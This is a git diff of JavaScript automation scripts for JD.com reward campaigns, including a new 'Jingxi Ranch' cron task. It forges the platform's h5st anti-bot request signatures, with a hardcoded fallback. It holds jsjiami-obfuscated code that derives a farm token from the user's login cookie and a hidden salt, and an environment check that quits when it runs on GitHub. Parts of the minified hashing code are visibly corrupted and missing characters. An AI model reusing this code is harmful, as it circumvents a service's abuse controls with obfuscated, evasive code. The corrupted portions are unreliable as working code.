`${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2), "".concat("3.0"), "".concat(Date.now() + 2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_jxmc.js b/jd_jxmc.js new file mode 100644 index 0000000..04f4a2c --- /dev/null +++ b/jd_jxmc.js @@ -0,0 +1,1163 @@ +/* +京喜牧场 +更新时间:2021-11-7 +活动入口:京喜APP-我的-京喜牧场 +温馨提示:请先手动完成【新手指导任务】再运行脚本 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜牧场 +20 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxmc.js, tag=京喜牧场, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true + +================Loon============== +[Script] +cron "20 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxmc.js,tag=京喜牧场 + +===============Surge================= +京喜牧场 = type=cron,cronexp="20 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxmc.js + +============小火箭========= +京喜牧场 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_jxmc.js, cronexpr="20 * * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash 